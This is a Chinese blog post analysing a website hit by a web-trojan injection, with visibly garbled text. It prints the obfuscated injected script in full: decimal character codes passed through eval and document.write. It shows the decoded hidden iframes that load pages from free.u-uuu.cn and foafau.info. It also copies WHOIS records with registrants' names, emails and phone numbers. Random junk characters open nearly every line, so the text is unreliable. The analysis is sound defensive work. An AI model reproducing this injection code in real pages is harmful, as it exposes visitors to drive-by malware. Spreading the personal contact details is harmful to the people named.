首发在我的博客里面，
LqW~QEU( %h^; "|Z http://www.areway.cn/?p=175 7&2xUcsz) &}6=V+J; > QCVsX>~ 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
[(]uin+9Q eP6>a7gc <script>t=’60,105,102,114,97,109,101,
znD0&CS9q 32,115,114,99,61,104,116,116,112,58,47,47,
~u.CY 102,114,101,101,46,117,45,117,117,117,46,99,
@qI^xs=Z 110,47,101,114,114,111,114,46,104,116,109,
x-cg df 32,119,105,100,116,104,61,49,48,48,32,104,
-GQ`n01 101,105,103,104,116,61,48,62,60,47,105,102,
fAXF_wj 114,97,109,101,62′;
p9fx~[_5/ t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
64Q{YuI zoA]7pG- <script>t=’60,105,102,114,97,109,101,32,115,
pf[bOjtR 114,99,61,104,116,116,112,58,47,47,102,114,
9 0 (JP- 101,101,46,117,45,117,117,117,46,99,110,47,
8KN0z< 101,114,114,111,114,46,104,116,109,32,119,
Ea 0
j} 105,100,116,104,61,49,48,48,32,104,101,105,
2e#hJ-/`- 103,104,116,61,48,62,60,47,105,102,114,97,
:D ;BA 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
|} =xA%) document.write(t);</script>
IOomBy: ZE#A?5lb <html xmlns=”
0;KjP?5 http://www.w3.org/1999/xhtml fn;`V it# “>
\\xo OA. <head>
J.35Ad1hM <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
lh{U@,/ <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
qJj"WU5 <title>首页 - 爱生活家庭网
OjFB_
N W:' H&`0 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
<BEM`2B 转换字符串后的大概内容是（谁点击后果自付）：
:;HJ3V; <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
IZn|1X?}\s nF`_3U8e 查询玉米u-uuu.cn的详细信息：
2Jm#3zFYz3 Domain Name: u-uuu.cn
I 82GZL ROID: 20070901s10001s64972306-cn
LR%]4$ /M Domain Status: ok
QZw`+KR Registrant Organization: 王雷
=~yRgGwJ Registrant Name: 王雷
[3o^06V8j Administrative Email:
czlovexs@126.com k n T CX Sponsoring Registrar: 北京万网志成科技有限公司
&P' d&B1
Name Server:ns.yovole.com
=^ 3 Z
L Name Server:ns1.yovole.com
}xJ ) .D Registration Date: 2007-09-01 17:54
LYhj I Expiration Date: 2008-09-01 17:54
4sMA'fG 最后PING了一下地址 都没有什么….
2D;2QdO Klrd|;C 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
3e,"B
S)+ <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
NAg m?d <script language=”javascript” src=”
E &G]R! http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script `8M{13fv >
upi\pXv 这个玉米应该有可能是木马作者的：
(}*1 ,N!# foafau.info的详细信息：
'8Wu9 phT Access to INFO WHOIS information is provided to assist persons in
=/kwUjC? determining the contents of a domain name registration record in the
C@b-)In Afilias registry database. The data in this record is provided by
46 [k9T Afilias Limited for informational purposes only, and Afilias does not
efN5(9* 9R guarantee its accuracy. This service is intended only for query-based
GB SuTu8 access. You agree that you will use this data only for lawful purposes
`]F}O \H and that, under no circumstances will you use this data to: (a) allow,
b@X+vW{S enable, or otherwise support the transmission by e-mail, telephone, or
$-AG $1 facsimile of mass unsolicited, commercial advertising or solicitations
0fE?(0pBj to entities other than the data recipient’s own existing customers; or
Tji* \<? (b) enable high volume, automated, electronic processes that send
++\s0A(e queries or data to the systems of Registry Operator, a Registrar, or
&a8%j+j Afilias except as reasonably necessary to register domain names or
R/EpfYOX modify existing registrations. All rights reserved. Afilias reserves
~`yO@f;D the right to modify these terms at any time. By submitting this query,
E\1e8Wyh you agree to abide by this policy.
[[s^rC<d Domain ID:D22418703-LRMS
aO &!Y\=@ Domain Name:FOAFAU.INFO
bt' lT Created On:20-Nov-2007 16:05:42 UTC
<H,E1kGw9 Last Updated On:20-Nov-2007 16:05:44 UTC
H"NBjVRU% Expiration Date:20-Nov-2008 16:05:42 UTC
)6b`1o!7 Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
-J":'xCP! Status:CLIENT DELETE PROHIBITED
GahIR9_2 Status:CLIENT RENEW PROHIBITED
k 5g vo Status:CLIENT TRANSFER PROHIBITED
yRy^'E~ Status:CLIENT UPDATE PROHIBITED
Qa#Em1co Status:TRANSFER PROHIBITED
U{ 52bH< Registrant ID:GODA-040110615
@+>t]jyz Registrant Name:liu hong
zX8'OoEH*9 Registrant Organization:
BN 1,R] *; Registrant Street1:beijing
QC Jf Registrant Street2:
TUN6`/" Registrant Street3:
@HQqHO&N Registrant City:beijing
6GMwB@ b Registrant State/Province:
tq=7HM Registrant Postal Code:100000
&8HJ4Vj2 Registrant Country:CN
?>Bt|[p:s) Registrant Phone:+86.860108888777
`3^%ft~l Registrant Phone Ext.:
q|_ C j]{ Registrant FAX:
9]gV#uF Registrant FAX Ext.:
&ox5eX ( Registrant Email:bbbshiji@163.com
RDxvN:v Admin ID:GODA-240110615
|Hv8GT Admin Name:liu hong
ZdJQ9 y Admin Organization:
jwp?eL!7 Admin Street1:beijing
>p29|TFbV Admin Street2:
8Xa{. y" Admin Street3:
w"" Admin City:beijing
({<qs}H" Admin State/Province:
>P}6/L Admin Postal Code:100000
.2
}5Dc,eR Admin Country:CN
Mk/ZEy q^ Admin Phone:+86.860108888777
2,r jy|R` Admin Phone Ext.:
<z QUa Admin FAX:
.*Axr\x3 Admin FAX Ext.:
yK>s]65& Admin Email:bbbshiji@163.com
[Qn=y/._r Billing ID:GODA-340110615
F\ %PB p Billing Name:liu hong
08z?i Billing Organization:
,-V7~g M%} Billing Street1:beijing
}g"K\x:Z Billing Street2:
5XZ\7Z| Billing Street3:
b?:SC UI Billing City:beijing
T# 3`&[ Billing State/Province:
l (3\ek U! Billing Postal Code:100000
Ym
wb2]M Billing Country:CN
to#T+d.(v Billing Phone:+86.860108888777
b`^mpB*6R Billing Phone Ext.:
-^,wQW:o) Billing FAX:
2f2.;D5g_' Billing FAX Ext.:
W;T (q~XK Billing Email:bbbshiji@163.com
-v~XS-F Tech ID:GODA-140110615
+IM6 GeH Tech Name:liu hong
"uU[I,h Tech Organization:
+~?K@n Tech Street1:beijing
(*G'~gSX Tech Street2:
9 =G
dj!L Tech Street3:
QD^"cPC)mM Tech City:beijing
pJ_>^i= Tech State/Province:
sx][X itR+ Tech Postal Code:100000
Y#fiJ Tech Country:CN
fj[t m Tech Phone:+86.860108888777
EK}QjY[i Tech Phone Ext.:
<Q?_],ip Tech FAX:
KDYyLkI dr Tech FAX Ext.:
{ud^+I& Tech Email:bbbshiji@163.com
lPn&,\9@~ Name Server:NS27.DOMAINCONTROL.COM
Cz#3W8jV Name Server:NS28.DOMAINCONTROL.COM
-P$E)5?^ Name Server:
Eq'oy~.oV Name Server:
23gJD8i8 Name Server:
(N$$N:ac[t Name Server:
* TR ~ >| Name Server:
`*Jw[Bnh8 Name Server:
UE/N-K)` Name Server:
bn 8?- Name Server:
uT{.\qHo Name Server:
?p!+s 96 Name Server:
*,oZ] ! Name Server:
-I{J]L$S # ]@7]mu:oL 接着下载每个文件里面的代码：
K7 $Vl"l 一步一步看..
P%xz"l i 
oxL4* bqZ 
vh6#Bc)i%w 
4r>buEU 
w\ 3'wD! 
IXmO1*o@ 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
